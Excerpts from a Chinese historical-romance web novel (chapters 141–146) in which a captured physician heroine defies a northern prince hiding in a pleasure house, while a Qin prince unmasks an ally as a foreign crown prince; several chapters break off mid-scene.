这阁楼里坐卧起居,茶室暖阁一应俱全,装饰之物所用的也都是上等的材料,俨然就是一个无比豪华舒适的居家之所,哪里只是一个简陋的储茶室。

程良看着眼前的一切,忽然想起方才在兰香的房里,如果那个叫兰香的女子真的极懂茶道,而又颇受重视,为何她常用的极品玫瑰红茶茶罐早都空了,也都不曾添置?还有,她既然懂茶爱茶,却为何只有一个空茶罐,甚至连其它任何茶具都不曾备下?

而在这个屋子里,却是茶席茶具一应俱全。那老鸨说这里并无专人整理打扫,可这处处却是干净如明镜一般发着亮光。

明显,这里肯定是有人长期居住着,而且是一个很有身份和品味的人,住在这里的这个人才是那个真正懂得茶道之人。

且就这整座阁楼里的清冷格调来看,必定是个男子。

而在这里,除了万娇阁的主子,还有谁能有这个资格单独住着一个院子呢?

还有,刚才他们进门时所撞见的那个小厮,怕是极有可能就是这万娇阁主子的侍从。

再低头看看眼前地上此时的这一片狼藉:很容易便能看出,方才那侍从手里捏着的被打碎的茶盏碎瓷片,是在距离茶几较远的地方捡起来的,那地上的瓷片碎渣和清水渍都还清晰可见。

再看这茶盏被摔碎落地的位置和滑痕痕迹,并不是四溅开来,而是从茶几方向落过来滑向其对面。

这明显是有人从茶席上砸过去所致,而并非小厮不小心所为。

敢在此发怒砸东西的,一定是万娇阁的主子,程良顿时明白过来。

显然,这老鸨嘴里所说出的每一句话亦是没有半句是真的。

“前

几次是谁负责查这个院子的?”一念至此,程良疑惑着低声问身边的侍卫道。

“回将军,这个院子我们的人前前后后总共查过三次,都是城南府衙里调过来的一个人查的,一直都报告说这里就是个简单的仓库,没有发现什么异常?今日来之前,属下本想先找人了解一下这里的具体情况,可不知为何,那人却…忽然失踪了。”侍卫说话的声音越来越低。

程良闻之蹙眉急问“哦?可有问其他人是不是回城南府

第一百四十一章:不入虎穴,焉得虎子

一跨出万娇阁的门来,身边的侍卫便向程良问道“将军,这次似乎还是没有什么发现啊?”

“没有什么发现?你当真什么都没瞧出来么?”程良反问。

“属下愚钝,愿闻将军详解?”侍卫诚恳地求解道。

“哼,你见过谁家的储茶室会专门用一座阁楼,而且是一座极为奢华的阁楼。你难道真看不出万娇阁的这个后院,便是那万娇阁真正的主子,不...一定是那个北烈大皇子拓跋泽的藏身之处。”程良似是突然间恍然大悟道。

接着又对其手下的侍卫分析“那玫瑰红茶产自南国,却用印着北方牧草羊草的储茶罐储存,而且那茶室的乌木茶架上摆着的储茶罐几乎都是类似的北方格调,可见他主人是有多钟情于北国。殿下猜的一点都没错,这万娇阁真正的主子果然是他。你...真是愚不可及,之前是怎么安排人的,竟如此大意,险些酿成大祸。”侍卫本就还在揣测程良前半句话,尚未明白其意却又被后面极为严厉的斥责声瞬间惊愣了住。

还未及其开口说话,程良便急急说道“先回去禀了主子再说。”

话音刚落,三人便行色匆匆地朝着如意居方向回了去。

就在程良等人前脚刚离开后,拓跋泽的贴身侍卫和俩个手下正押着衣上云、嫣红和兰香外婆三人正沿着与其相反的方向即将回到万娇阁。

为掩人耳目,还故意给三人遮掩上了长长的黑色帷帽,又紧随其后且以短剑悄悄地抵在三人身后,确保她们不敢反抗或者随意出声。

一路急赶着回去复命,不曾停歇过片刻,老人此时看起来似是已有些体力不支,脚步忽然渐渐放慢了下来。

其中一个手下看见,便将藏在手中的短剑抵紧了老人的腰间,朝其厉声呵斥道“老不死的,还不快走,给我老实点。”

衣上云和嫣红闻声赶忙将老人扶住,嫣红忙道“婆婆再坚持一会儿,前面马上就到万娇阁了。”

老人唉声叹气道“唉,真没想到我这一把老骨头了,临了临了竟然会进这种地方,我还不如现在死了算了,倒还落个干净...”

这时,衣上云开口劝道“婆婆怎么能说这种丧气话?二郎已经死了,你可是兰香在这个世上唯一的亲人了,如果连你也不在了,那她该有多孤单,多难过啊。所以为了她,你一定得好好活着才是。”

“二郎?可是那个当年骗我们香儿说要娶她过门的登徒子么?”老人一听到‘二郎’这个名字,立刻咬牙切齿起来道。

衣上云看着老人的眼睛,微微点点头,老人疑惑道“他死了?”

稍一犹豫,老人却忽然又欢喜起来“死了好,死了好。这种背信弃义的人,该死,早就该死了...只是

,不知他是怎么死的?”

衣上云这才低声朝其幽幽道“今日我和兰香在梦园赏梦花的时候恰巧碰到了二郎,那二郎说当年他确实回家跟家里讲过要上门提亲的事,不想却被家里的管家从中作梗,这才致使他们俩人误了终身。这两年那二郎竟一直在梦园里等着兰香。可就在二郎对兰香解释的时候,出现了一名杀手,想必应该就是和此时这些人一伙的。他们想杀兰香灭口,刚好被那二郎看见并帮其挡下了那支致命的毒剑,当场毒发身亡了。”

老人闻之,心中一时间百感交集,而转眼又似是有些不相信自己的耳朵,又问了一次确认道“那二郎说的都是真的?他真是为了救我们香儿死的?这么说,是我们错怪了他,他不是言而无信之人?”

衣上云重重地点头,老人随即转头过去低垂着脸神色黯然,不禁长叹口气,嘴里喃喃道“唉,天意,都是天意,天意弄人啊。”

稍一回神来,老人又朝着衣上云说道“姑娘,我知道你是正经人家的好姑娘,若要是也有两情相悦,愿意为你去死的人,可一定千万要珍惜啊。人生苦短,不要等到阴阳两隔了,才开始念念不忘。”

听了老人的一番忠告,衣上云忽然径自呆愣着口中重复道“两情相悦,愿意为你去死...人生苦短...阴阳两隔...念念不忘。这个人,应该只有21世纪的魏明轩了吧?除了他,还会有谁呢?”

就在衣上云沉思之际,扶着老人另一只胳膊的嫣红在一边默默发声道“姑娘,嫣红只想知道,香儿姐她现在人在哪里,安全么?”

衣上云方才回神,笑着说“你们放心,兰香,她很安全,她不会有任何危险的。”

“闭嘴,瞎嘀咕什么呢,小心老子抽死你。”看到三人窃窃私语,身后的那名手下又凶神恶煞地朝她们喝着。

就在这时,不知为何,衣上云忽然停下脚步转过身去朝着身后发狠的那人厉声怒道“光说有什么用,吓唬人么?要不现在本姑娘借你个胆,你不妨来试试,本姑娘可不是吓大的。”

谁知那人竟是个纸老虎,一时间竟被衣上云这番话吓得再也不敢作声,只怔在原地里丝毫都已不能动弹。

见他已然惊吓成这幅模样,衣上云自是也不屑与这种狗仗人势的小人多做纠缠,只朝着拓跋泽的贴身侍卫轻蔑地瞪了一眼,便只顾转身来扶起老人的胳膊继续向前迈起步来。

然她心里暗想着的,却是“不入虎穴,焉得虎子。若不是本姑娘决心以身试险,不但要将玉娘找出来给婆婆和灵儿一个交代,顺便看看那万娇阁里的北烈国皇子究竟有何能耐?就凭你们几个,也能将本姑娘控制住?本姑娘至今可还一招都未出呢!”

是夜,万娇阁后院的阁楼里,昏暗的烛火下,拓跋泽已经从暗室又回到了他最喜欢的茶室里。

此时,他正端坐在茶席边,依旧面前烹煮着一壶清

第一百四十二章:有秦王殿下在,不怕

听到拓跋泽这句话,侍卫立即茅开顿塞“殿下是说,和她一起来万娇阁的另外那位戴面具的公子?”

拓跋泽没有回答,只一脸平静地重新倒了一杯热茶拿起来抿了一口。

然侍卫却又一脸迷茫地问“可如今,我们去哪里找那位公子呢?”

“能来西秦万娇阁里消遣的客人,会在哪里落脚呢?”拓跋泽提示道。

侍卫顿时喜逐颜开,大声道“如意居。”

拓跋泽缓缓放下手中的茶盏,侍卫急急说道“属下明白了,属下这就马上去安排,一定将那个贱人碎尸万段不可。”

就在侍卫正要转身离去的时候,又问一句“那衣上云这三人,属下先将她们关在一起?”

稍一思量,拓跋泽吐了口气,对其吩咐道“衣上云,把她先和玉娘关在一起。其他俩个,一并交给老鸨处置。”

侍卫闻此,先怔了一下,随后又领命退了下去。

一室寂静,昏暗的烛火将茶席上人的影子拉的很长很长,犹如他此刻的心事一般连绵而悠长……

“吱呀”伴随着一阵铁锁被打开的声音后,万娇阁的角落里,一个废旧储物间的房门忽然被打开来。

房内,俩个年纪相仿的妙龄女子和一位满头银发的孱弱老人正各自心中怀揣着一份忐忑与不安,依偎靠坐在一起,默默盘算着自己的心事。

这时,走进来两个如狼似虎的带刀侍卫。气势汹汹地一进门来便锁定了三人的方向朝其走去,其中一名侍卫一过去便伸手一把将正在席地而坐的衣上云捞了起来,随即用力往外推了去。

“你们干什么?你们要把她带到哪儿去?”见此,嫣红忽的一下站起身来,匆匆追上前去一把用力抓住了衣上云细细的胳膊,朝那恶狠狠的侍卫问道。

“滚开,是不是想找死啊?”谁料,后面跟着的另一名侍卫竟瞬间持起刀向着嫣红瞪大了眼睛,一边伸手一把便极为轻松地就将俩人分了开来,一边狠狠撂下了那句话便又转头继续将衣上云两三下便推出了门去。

“姑娘,姑娘...”此时,那孱弱老人方才艰难的站起身来嘴里弱弱地呼唤着,嫣红蹙眉无奈的看着衣上云被那俩个恶人推出门去,又回头看看摇摇晃晃的老人,随即赶忙走回去扶起老人的胳膊,以防她不小心摔倒。

似是此时都还极不放心她,想再多看她一眼,于是在那房门尚且还没有被关上的时候,依旧无畏地朝门口疾步迈过去。

可却只在刚好听到衣上云的一句“婆婆不要担心,我不会有事的。”随后,房门便又一次被门口的守卫从外面锁了起来。

这时,嫣红急急松开老人的胳膊,在门里面使劲地用手拍打着那冰冷的门板,大声叫喊着“开门,快开

门,放我出去,放我出去,我…我要见妈妈,我要见妈妈,快开门。”

然听到嫣红大闹的声音,门外的守卫却也似是极为无奈地回答她道“嫣红姑娘,你就不要白费力气了。这次关你是阁主下的命令,没有他的命令,谁都不敢来见你的,更别说放你出去了。”

闻此,嫣红终于放弃了最后的挣扎,缓缓收回了那双因为用力太大而早已经拍红了的纤纤玉手,耷拉着脑袋一脸的黯然神伤,心灰意冷。

她默默地心想着,难道这次,真的连茹姨也保不了她了么?方才在兰香家中,当着阁主的近身侍卫当前,她说了那么多北烈和阁主的坏话,阁主一定不会放过她的。看来,阁主真的是打算釜底抽薪要回国去了,竟什么都不管不顾了。

见嫣红此时如此垂头丧气着,老人开口安慰她道“姑娘,放心吧,我们会没事的,大家都会没事的。你不是说秦王殿下已经预见了万娇阁里隐藏着大阴谋,将这里整个都包围起来了么?既然有秦王殿下在,就连战场上奋勇抗敌的士兵都不怕,在这小小万娇阁里的我们还怕什么?他们北烈国的奸计一定不会得逞的,咱们西秦子民才不会惧怕这几个区区北烈国的野蛮人。”

闻此,嫣红竟瞬间被老人的话惊呆了,似是刚刚还愁云满布着的思绪一下子便被阳光照射散了去,不禁感叹道“是啊,有秦王殿下在,又是我们自己的地盘,有什么好怕的呢?我们一定都会没事的。”

说着,俩人凝视着彼此的眼睛,紧紧地将手握在一起,心里眼里尽是满满的希望。

再往前走不就是兰香在万娇阁里的屋子了么,衣上云看着前面带路的侍卫所去的方向,心里暗自想着,他们带我来这里做什么,难道是兰香没有逃脱那杀手的追杀,被捉回来了?

就算当时情势紧急,兰香来不及细细说清楚,但衣上云从兰香当时的举动中也早就已经猜到,今日要取兰香性命的一定是万娇阁派出的人。

可如果连兰香也没有逃脱的话,那可就再也没有任何人知道她如今已身陷囫囵了啊。

换句话说,如果她没有按照当时与兰香约定的时间将兰香的外婆带回到如意居里,兰香便会将营救失败这事告诉易三少,也自会第一时间带易三少到万娇阁救人。

可如今,如果连去帮她搬救兵的兰香也被捉住了,那就没有任何人知道她被困在了万娇阁里面,更没有任何人能帮她离开这里了。

&

第一百四十三章:我答应,跟你回北烈

半晌后,侍卫似是平复了许多,转念又开口幽幽问道“对了,如今既然衣姑娘也已经知道了我们万娇阁的真实背景,咱们也就不妨明人不说暗话。不知,衣姑娘女扮男装到万娇阁来,所为何事呢?”

衣上云等的便是他这句话,脱口即出“你们把玉娘藏到哪儿去了?”

果然如主子所料,这衣上云还真是为了那玉娘而来,侍卫心里暗自琢磨着,稍作犹豫,他又放眼过去看了看那一片漆黑当中的珠帘后的主人,缓缓道“如果我们把玉娘交出来,那衣姑娘是不是就会考虑接受我们北烈国的邀约了呢?”

“哼,你们这算是威胁本姑娘么?”衣上云闻此嗤之以鼻地朝那侍卫怒道。

“衣姑娘此言差矣,对于您这样的世间奇才,我们北烈国求之尚且不及,又怎来威胁一说呢?我们只是觉得像姑娘这样世间难得的解毒高手,做一名奴颜婢膝的王府医女实在是太屈才了.有道是‘良禽择木而栖’,这若是以后跟着我们殿下,姑娘你大可享尽这世间无穷无尽的繁华与尊荣,何乐而不为呢?”

听了侍卫这番话,衣上云更不屑与他这类人继续再多做言语,最后只道“你们当真以为这天下皆是些卖国求荣的不知廉耻之徒么?奴颜婢膝怎么了?王府的医女又怎么了?王府的医女也好,奴婢也罢,皆是靠自己正经的本事过活,心安理得的吃饭。可如果背叛了西秦,违背了自己的良知,即便日后锦衣玉食,极尽奢华,亦是落得个遗臭万年卖国贼的骂名,永生永世都遭人唾弃。这孰轻孰重,不必我说,想必就连你这样的蠢货尚且都能分的清吧?!”

“你…衣上云,你不要太不识抬举了,若是再继续这样挑衅我的忍耐度的话,休怪我对你不客气。”显然,侍卫又一次被衣上云气的跳脚起来。

然衣上云却只瞪了他一眼,丝毫不惧怕他。随即依旧镇定自若地朝着屋内那漆黑的角落里的珠帘后面淡淡地斜了一眼,平静地道“好了,不要再在我面狐假虎威了,一口一个北烈国北烈国的,好像这北烈国是你一个小小侍卫说了就算的一般。我看我们今日谈的这些事,也不是你这个身份便能做得了主的。你也就不要在这里再多费唇舌瞎吵吵浪费时间了。不妨...让你的主子从那帘子后面出来亲自谈好了,躲在黑暗里太久,别憋闷坏了。”

侍卫闻之,惊讶地看向了那一片漆黑之中。

而接着,拓跋泽果然缓缓起身来掀开密密的帘子从那黑暗的角落里走了出来,一边拍手鼓掌,一边大笑道“哈哈哈哈哈,好,好,好。果然是个奇女子。本皇子久闻衣姑娘医药之术颇为不凡,今日一见,不想竟还是个忠贞爱国的热血女子,佩服,佩服

。”

岂料,他的这番甚是高调的惺惺作态,衣上云见闻却并没有理会,甚至都未曾正眼瞧他一下,只依旧如初般端坐在案几边正视着前方,只细微地朝其不屑冷冷哼笑了一声。

拓跋泽无趣的戛然而止,随即摆了摆手,一旁的侍卫便匆匆行礼退了出去,室内只剩下其与衣上云俩人。

紧接着,他迈步走到一旁熄灭着的油灯边上,又亲自动手点亮了其中两盏,挑了挑灯芯,屋里瞬间亮堂了许多。于是,他缓缓迈步亦走向衣上云坐着的案几边上亦落坐下来,道“衣姑娘,本皇子不妨就打开天窗说亮话吧。”

这时,衣上云方才眨了眨眼睛,似是已经做好了聆听及迎战的准备。

拓跋泽随即开口问道“不知衣姑娘与玉娘是朋友,还是亲戚?”

衣上云冷冷地回了一句“我与玉娘非亲非故。”

拓跋泽惊讶地怔了一下“非亲非故?衣姑娘为何要冒险去救一个与自己非亲非故之人呢?”

衣上云闻此忽然扭头看了他一眼,稍作思索,后又收回视线依旧正色着回他“如果你要这样问的话...我与玉娘原本是非亲非故,但今日因为你这个人和你这个人的这句话,我便与玉娘成了同命相连的手足同胞。自己同命相连的手足被困,我又岂有袖手旁观,不救之理?”

拓跋泽听了似是有些疑惑不已,问“因为我这个人和我的这句话,你与玉娘成了同命相连的手足同胞?不知衣姑娘这句话如何做解?”

衣上云哼笑一声,忽然抬起头来眼睛冷冷地看着他,一字一句,铿锵有力道“面对外敌入侵,国将不国,每一个西秦国人皆为一奶同胞的兄弟姐妹。”

话一说完,拓跋泽不禁心中顿时肃然起敬,深感震惊,竟瞬间呆愣了住。

半晌后,方才醒过神来。眼睛忽然落在案几上放在衣上云面前的那盏她至今都尚未动半分的玫瑰红茶上。

只见他左手优雅地端起,撩着右边的袖袍,将手伸过去在衣上云的面前,将她面前那盏早已冷掉的茶汤拿回来倒掉,又重新烹煮了一壶新茶亲自帮她添上“姑娘果然非一般女子所能及,方才的话真是语出惊人,让本皇子甚为动容啊。”

见衣上云依旧面无好色,拓跋泽却端起一脸笑容道“衣姑娘不妨尝尝这杯南国上好的的玫瑰红茶,这可是玉娘很喜欢的一道茶汤。”

闻此,衣上云终于想起来,难怪方才她一进屋来,就觉得有一种似曾相识的味道。眼前这个茶香味和玉娘与兰香人手一只的那个散发着阵阵幽幽茶香的香囊上的味道竟是一模一样的。如此珍贵的南国极品玫瑰花茶,难道...那香囊里的茶叶是拓跋

第一百四十四章:果然都不在如意居

是夜,淡淡的月光下,路上行人已三三两两,渐渐散了去。

城南如意居门外,一个庶民打扮的妙龄女子,被白天的一场突然而至的大雨淋的一身狼狈。

此时,她正站在门外的路边上,一脸欣喜地望着眼前那颇具气势的门牌匾额,口中喃喃着“云儿,我终于到了你所说的如意居了。”

片刻后,只见她轻轻撩起裙摆来,缓缓走上石阶倚在门边上眼巴巴地朝里面四下张望着,偶尔进进出出的客人,无一不蹙眉掩鼻朝其投去嫌弃的目光。

这时,掌柜的看见,便朝一边的小厮使了个眼色,那小厮便快步朝向女子走了过去。

“走走走走走…知道这是什么地方么,也是你这种人可以随便进来瞎看的?”小厮一过去便大力的捉起女子的手腕来,将其拖到离大门很远的一个不起眼的角落里,方才将其狠狠推了一把,丢开了手。

“小哥,我是来找人的,求你让我进去吧,好么?”女子恳切地向其请求道。

闻此,小厮上下将女子仔细地重新打量了一番,怀疑道“找人?你…”

女子这才察觉到了自己的失态,不禁双手将衣襟紧紧地攥捏在手里,弱弱地点了点头,道“嗯,我真是来找人的。我找一位叫江志煊的公子,是她的朋友让我来这里找他的。”

“江志煊?”

就在小厮迟疑思索之际,女子连忙描述道“哦,那位公子戴着一个蝶形面具?”

小厮方才恍然大悟,原是她要找的是那个遮着面具,看似神神秘秘的男子“喔,是他啊,可他早就已经离开如意居了啊。”

“什么?离开了,不可能,绝对不可能,你骗我,你一定是在骗我,想赶我走,对不对?我要进去找他,我要进去…”女子一边说着,又朝着门口疾步奔去。

小厮眼疾手快地伸手再一次将其抓了回来,死死地挡拦着,俩人都互不相让,纠缠在一起。

女子声撕竭力地向其苦苦哀求着“小哥,人命关天,求求你,就让我进去吧!求求你了,让我见江公子一面吧,就见一面,哪怕就让我对他说一句话也行的,我求求你了。”

那小厮亦是情真意切地推推嚷嚷着,道“姐啊,不是我不帮你,是在咱们店里歇着的,根本就没有你说的这个戴着蝶形面具叫做江志煊的客人啊,他早就离开了。再说了,你看你这一身凌乱不堪的样子,咱们如意居里住的,那可都是些非富即贵,有头有脸的达官显贵,你这样怎么能进去呢?今天,我要是把你放进去了,那我就得卷铺盖滚蛋了呀!我还是求求你,你就发发慈悲,饶过我吧,我家里可还上有老下有小,都张着嘴等我这点工钱回家吃饭呢?”

女子见小厮久久都对她丝毫

没有卸下防备之心,紧紧盯着她,僵持不下,索性便用双手在嘴边拢成喇叭状,对着如意居楼上的方向使尽全身所有力气来大喊“江志煊,江志煊,你快出来,快出来啊!是你的朋友让我来这里找你的,你赶快出来啊。”

“看吧,我都说了这里没有你要找的那个客人,他已经走了,离开了,你偏不信。你这么大声,他若是在的话,早都听见出来见你了。可见,你就算是喊破喉咙也不能凭空喊出个人来啊,我劝你还是省省力气,快些回家去吧。这夜已经这么深了,你一个姑娘家,待会儿路上可就不安全了。”小厮依旧一边看看路上已经难得一见的人影,一边对其好言相劝道。

谁知,听了小厮的话,那女子竟突然“扑通”一声,似是极为伤心绝望地重重跪倒在了地上,随即声泪俱下地哭了起来,一边哭一边嘴里自顾自喃喃道“云儿,江志煊真的已经不在这里了,怎么办,我该怎么办吗?你可千万不能有事,一定要想办法平安回到这里来呀。”

小厮站在一旁眼睁睁的看着女子无奈的摇了摇头,半晌后,就在他即将转头欲回到如意居里去的一刹那间,倒地的女子似是忽然又想起了什么,顿时止住了哭声“小哥,请留步。”

“你还有什么事?”小厮言语里已多少有些不耐烦,但依旧还是心有不忍地回过了头来。

女子急忙捉起手背来抹了一把眼泪,又吸了吸鼻子,随即起身来快步上前走到小厮身边,问道“小哥,我还想打听一下,如意居里是不是还住着一位名叫易君浩的客人?”

小厮摸了摸后脑勺,一边回忆着一边口中自言自语“易君浩,易君浩…”

这几乎已经是那女子最后的那根救命稻草了,女子自是想要拼命将其牢牢抓住。

虽说衣上云交待过她,明日天亮她若还没回来的话,方才允许她去找易君浩,但既然江志煊已经离开了,她自是无论如何只能找这位主了。

于是,她连忙提醒小厮道“小哥,真的请你好好想想,事关许多人的性命,拜托你真的要想起来啊。”

终于,小厮眼睛一怔,女子亦是与此同时瞪大了眼睛急道“小哥是想起来了,是么?”

小厮终于开了口“是的,咱们店里是住着这么一位叫易君浩的天字号客房的贵客……”

还未及小厮將话说完,女子便一下子捉起小厮的手腕喜极而泣起来,顺势拉起他便走“快走,快带我去见他,他一定会见我的……”

然小厮却愣在原地里一动不动,女子见此,回头不解道“怎么了,你怎么不走呀?”

&n

第一百四十五章:本王等你很久了

“你就老老实实给我在这里呆着,不要到处乱跑,等那公子回来了,我亲自过来叫你。”

小厮抛下最后这句话给女子,便进到了如意居里去。

此时,她方才缓缓将头抬起,望向这寂静的夜空中,那片朦朦胧胧,淡淡的月色,方才想起了她的二郎和白天发生在梦园里的所有事,不禁悄悄地流下了两行伤情的眼泪来,随风吹拂……

忽然,女子似是察觉到了在她身后,那片漆黑的夜雾里,似是有什么人在向她靠近。

于是,她慢慢转身朝其看了一眼,只见缓缓走出来两个男子人影。

她瞬间睁大了眼睛再仔细一看,这俩名男子乃是身着一模一样的一袭黑色夜行衣,头部遮的严严实实,只露出两只冷厉的眼睛,貌似是冷面杀手,各自手里还持着一把寒光四射的利剑,正气势汹汹,恶狠狠地瞪着眼睛朝她走来。

女子顿时被惊吓的慌乱无措起来,她急急回过头来朝周围看了看,确是空无一人,亦无处可避。

情急之下,她已顾不了许多,只得撒腿便往如意居门口跑去。

谁知,那两名黑衣杀手看到自己被发现,目标女子开始逃跑,亦是即刻便加快了脚步紧追不舍。

而此时,如意居里柜台上,掌柜的见小厮进门回来,抬头稍稍瞟了他一眼,开口询问道“怎么出去这么久?”

小厮刚进门来,先是驻足呆愣了一下,接着一边继续朝里走一边对其扯谎道“哦,刚才那女子不知受了什么刺激,疯疯癫癫的在外面大吼大叫,小的怕影响客人们休息,劝了半天,才将她劝下。”

掌柜的依旧只埋头顾着拨动自己手中的算盘珠子,发出“噼里啪啦”的声响,嘴里喃喃道“难怪方才我好像听到有人在外面胡乱喊叫?如今那女子人呢,你可已将她打发了?”

小厮自信地对其信誓旦旦道“掌柜的放心,小的已经将她打发走远了,她绝对不会再回来喧闹了。”

“小子,做的不错啊。”听到掌柜的夸奖,小厮脸上顿时现出了似是满意的笑容来。

“好了,时间也不早了,我先上楼了,今夜就辛苦你们几个了。”掌柜的终于稽查完了账簿,随便收拾了两下,便从柜台里缓缓走了出来,朝着店内几个值夜的小厮客气地说道。

“放心吧,掌柜的明儿见。”听了这小厮的话,掌柜的冲其颇为满意的笑了笑,便上了楼去。

就在掌柜的转身之际,女子神色匆匆地疾跑过来,站在门外的石阶下,大口地吞咽着口水,眼巴巴的望着那小厮,可小厮却站在里面柜台边上蹙眉以怒目相对,似是在警告着她,她若敢进来,这次必定不会轻饶她。

女子一回头,眼看着那两名黑衣杀手举剑就要追过来

了,心里顿时更加焦急紧张了。

小厮并不知道此时外面发生了何事,只唯恐掌柜的回过头来发现女子并未离开而斥责自己,便紧接着连忙朝着女子使了个眼色。

见之,不得已女子只能无奈的另做其他打算,后面已经被黑衣杀手堵死了,她只能急急看看左右两边的道儿,却都是一样的漆黑一片,亦都是不见半点人影,不知前路到底是凶是吉。

慌乱之下,她索性便胡乱选了一条逃了去。

当女子的身影刚刚离开小厮的视线时,掌柜的似是察觉到了门口的异样,忽然回过头来朝着门口望了一眼,却只看到寂静的一片夜色。随即露出一脸狐疑,又扭头接着继续上楼去。

而那小厮此时方才长长的舒了口气,真正的感觉自己就像是做小偷似的,不禁摇摇头,低低的发出一声长叹“唉,若不是见你可怜,若不是受了那公子的赏钱,我才懒得做如此让人提心吊胆的事儿呢。”

就在女子刚离开不久,从她相反的方向,隐隐约约传出来连续不断的马蹄踏地所发出的“嘚嘚嘚……”的声响。

这声音越来越近,渐渐的,夜雾里现出来一个身着一袭紫红色棉袍,外披黑色斗篷,兜着风帽。风帽下现出一双即使是在深夜,淡淡的月光照射下,依旧清晰可见的一双细长而又温柔的桃花眼,骑着高头大白马,在夜间疾驰着的妖艳美男子身姿来。

此人正是急急处理完此行来城南的所有生意,连夜赶回来如意居与他的丫头汇合,准备一起回城西去的百草谷谷主易君浩。

一到如意居的门口,还未等马儿将马蹄完全收稳,易君浩便早已急着起身来纵身一跃便下了马,随即一步踩上石阶跨进了门去。

趴在案几上正在打盹的小厮被他快步走过所带起的一阵风忽地惊醒。可一抬头,却只看到他早已上了楼去的潇洒背影。

于是,小厮缓缓起身来揉着朦朦胧胧,似醒非醒的睡眼,缓缓走出门去将那高大的白马儿牵往马厩中预备安置下来。

易君浩上楼后,忽然放慢了脚步,缓缓整理起自己的衣装来,又转头看了看窗外已渐渐西斜的淡淡月色,心中暗想,这么晚了,丫头应该已经歇了吧?!

想着想着,不知不觉间,他已经来到了衣上云门口,瞬间惊喜的看到里面的烛火竟还是亮着的。

于是,他又一次整理衣装,顿时打起了十二万分的精神来,端着自己最好看的笑容,伸出手去正想叩门,却看到房间的门是半掩着的。

随即,挂在脸上的笑容亦忽然暗了几分。稍作思量,他将那只悬在半空中的骨节分明的一只大手终于伸了出去缓缓将门推开来,接下来,却只听他极为惊讶的一声道“怎么是你,深

更半夜的,你坐在丫头的房间里做什么?”



第一百四十六章:愿为她,争灵空

听了易君浩对发生在万娇阁里诸事的一番细述,轩辕翰终于对自己的所有猜测确定无疑,却又感深深纳闷,幽幽道“如此看来,当下果真只有先找到那兰香,方才能找到云儿的下落。可这兰香一个风尘女子,犹如无根之浮萍,她究竟能去哪儿呢?”

“咚咚咚”就在俩人各自陷入同一片沉思之际,一阵叩门声响起。

走进来的是轩辕翰的副将程良,手里拿着一封密函“殿下,刚到的急件。”

程良将信函郑重地一交到轩辕翰手中,便退了下去将门掩起。

轩辕翰将密函一接过来便迫不及待地将其打开,仔细审阅起来。当他看到其中两幅男子画像时,却忽然抬眼向着正在低头沉思不语的易君浩怔了一下,又将目光匆匆继续挪回到画像底下那几张刚毅的字里行间。

就在这时,易君浩稍一迟疑,已然坐不住了,便立刻又一次急急站起身来,轩辕翰见此问道“你要去哪里?”

易君浩显得尤为着急又有些不悦,对他直言道“当然是设法去找兰香寻丫头啊,难不成同秦王你一起坐在这里悠闲地读信品茗?”

易君浩自是不知,轩辕翰这几日迟迟没有行动,很大一部分原因就是在等程良刚刚送进来的这个消息。

而他等的这个消息,虽然在他心里早已有数,然此时亲眼所见被人证实,却依旧让他颇为一惊。

他在衣上云的房间里等信,亦是等易三少回来与他对此密函里的消息当堂对峙。

这一切时间,他把握的似乎刚刚好。

方才与他之间的所有言语,也才只是刚起了个头而已。今天,他想跟他谈的重点可并不止于此。

至此,轩辕翰开口将他拦住“你等等。”

“还有什么事?”易君浩依旧保持着方才起身站着准备离去的姿势俯视着他,口气里似是有些迫不及待和责怪,疑惑着问。

轩辕翰见他已然因为衣上云的事已沉不住气,便先冷冷地宽慰他,道“万娇阁里暗藏着阴谋重重,那兰香若是对云儿真有敌意,便不会将她带出万娇阁。所以,有兰香在,云儿暂时不会有危险。本王今日…是想跟你谈另外一些事。”

易君浩闻之,觉得其所言也似有些道理。那兰香看起来仿佛并不像是个大奸大恶之人,而那万娇阁,如此颇具规模的鱼目混杂之地,自是背景也不会简单。

不过,这一切与他又有何关联,哪怕是这整个灵空大陆,除了衣上云,任一切都不是他所上心的。

可见轩辕翰忽然如此一本正经的样子,他便索性回坐了去,他倒要看看这西秦秦王究竟葫芦里要卖什么药?

然开口说话的言语间还是有些不耐烦地催促道“有话快说,到底什么事?”

见他终

于不再冲动,轩辕翰方才将已看完的密函缓缓收起,而接着却忽然用一种极其异样的眼神盯向了易君浩的眼睛。

不知为何,易君浩见此竟瞬间觉得极为不自然,那感觉就像是自己做了什么坏事,而被人识破了一般,竟不自觉地眼光扑朔四下里躲闪起来,不敢直视对方。

片刻后,轩辕翰忽然冷哼了一声收回了他审视的目光,竟亲自斟了一盏热茶朝易君浩递了过去到其面前举着,却冷不防的看着他的眼睛极为客气地说“对了,本王应该唤你一声…南安太子,对么?”

轩辕翰许久查这百草谷和百草堂正主易君浩的来头,却只查到他并非西秦国人,而属南安人士。其他再都没有进展。无奈,便只得将此事交于西秦学院陆贤接手,没想到,竟真被这陆贤给查到了。

方才的密函里说,陆贤派自己的一名绘画功底极好的学生假扮病患,多次前去百草堂里诊病,借机记住了易君浩的容貌,回到西秦学院里画了一幅十分逼真的画像。

又想那易君浩有如此实力在西秦国医药界呼风唤雨,在南安国里亦定是非富即贵,便又派绘此画像的学生本人亲自前往南安一趟,旨在接近一些王公贵族,探出其身份。

皇天不负有心人,在那学生经一贵族夫人举荐,被应邀在南安皇宫里为众妃嫔们作画的时候,却在无意中让他遇到了以前服侍那南安太子的近身侍女。

那侍女无意间捡拾到了那学生身上藏着的那幅易三少的画像,刚开始还以为是那学生盗窃了她们太子的画像。直到那侍女当着所有人的面,从太子宫殿里拿出了南安太子每年生辰的时候,宫里的画师帮其绘制的本人画像合集,数了数数,方才知道是自己弄错了。

后来,那学生慌称自己极欣赏那国师的画风,而且那画像里的人和他梦中所见的药菩萨长的一模一样,自己之前所作这幅简直太过拙劣,引得众人皆哗然笑之,便说服了众人将太子最后那年的画像临摹了一张带回西秦来。

就在告别离开之际,那侍女还私下告诉他,太子因和国君置气,好像是跟小时候的一个什么奶娘有关,已经离开南安国皇室多年,亦是名曰易君浩。并且得知南安太子天生擅长医药之术,而且其耳后还有一颗鲜为人知的红痣。

此时,易君浩闻此大吃一惊,瞬间抬起头对向他的眼睛怔住了半天后,却道“南安太子?你什么意思?我听不懂。”然其说这话的声音却越来越低,眼睛也有躲闪不定。

轩辕翰哼笑一声,悠悠道“据传南安国尊贵无比的太子,天生便擅长医药之术,而且其耳后还有一颗鲜为人知的红痣。怎么,还不肯承认么?不需要本王亲自帮你验明真身了吧?!



